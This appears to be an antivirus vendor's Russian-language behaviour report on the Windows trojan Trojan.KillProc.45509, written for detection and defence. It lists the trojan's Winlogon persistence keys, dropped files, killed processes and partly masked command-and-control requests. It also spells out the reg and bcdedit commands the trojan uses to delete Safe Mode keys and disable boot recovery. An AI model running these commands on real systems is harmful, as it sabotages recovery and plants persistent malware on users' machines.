Trojan.KillProc.45509

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = ''
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = 'userinit.exe,%ALLUSERSPROFILE%\Application Data\JavaTM\LaunchTM.exe'

Вредоносные функции:

Запускает на исполнение:

'<SYSTEM32>\cmd.exe' /C reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot" /f /reg:64
'<SYSTEM32>\cmd.exe' /C reg add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot" /v AlternateShell /t REG_SZ /d cmd.exe_ /f
'<SYSTEM32>\cmd.exe' /C reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot" /f
'<SYSTEM32>\cmd.exe' /C bcdedit /set {current} bootstatuspolicy IgnoreAllFailures
'<SYSTEM32>\cmd.exe' /C bcdedit /set {current} recoveryenabled off
'<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot" /f /reg:64
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot" /v AlternateShell /t REG_SZ /d cmd.exe_ /f /reg:64
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot" /v AlternateShell /t REG_SZ /d cmd.exe_ /f
'<SYSTEM32>\cmd.exe' /C reg add "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot" /v AlternateShell /t REG_SZ /d cmd.exe_ /f /reg:64
'<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot" /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "userinit.exe,%ALLUSERSPROFILE%\Application Data\JavaTM\LaunchTM.exe" /f /reg:64
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "userinit.exe,%ALLUSERSPROFILE%\Application Data\JavaTM\LaunchTM.exe" /f
'<SYSTEM32>\cmd.exe' /C reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "" /f /reg:64
'<SYSTEM32>\cmd.exe' /C reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "" /f
'<SYSTEM32>\cmd.exe' /C reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "userinit.exe,%ALLUSERSPROFILE%\Application Data\JavaTM\LaunchTM.exe" /f
'<SYSTEM32>\cmd.exe' /C reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "userinit.exe,%ALLUSERSPROFILE%\Application Data\JavaTM\LaunchTM.exe" /f /reg:64
'<SYSTEM32>\cmd.exe' /C bcdedit /set {current} advancedoptions off
'<SYSTEM32>\cmd.exe' /C bcdedit /set {current} optionsedit off
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "" /f /reg:64
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "" /f
'<SYSTEM32>\cmd.exe' /C bcdedit /set {current} bootems off

Завершает или пытается завершить

следующие системные процессы:

%WINDIR%\Explorer.EXE

Изменения в файловой системе:

Создает следующие файлы:

%ALLUSERSPROFILE%\Application Data\JavaTM\LaunchTM.exe.config
%ALLUSERSPROFILE%\Application Data\JavaTM\LaunchTM.exe

Сетевая активность:

Подключается к:

'15#.#53.23.121':80
'go##onym.se':80
'wp#d':80

TCP:

Запросы HTTP GET:

http://15#.#53.23.121/pschool/plugins/DebugKit/View/inc/?do############################
http://go##onym.se/wp-admin/network/inc/?do############################
http://11#.#11.111.1/wpad.dat via wp#d

UDP: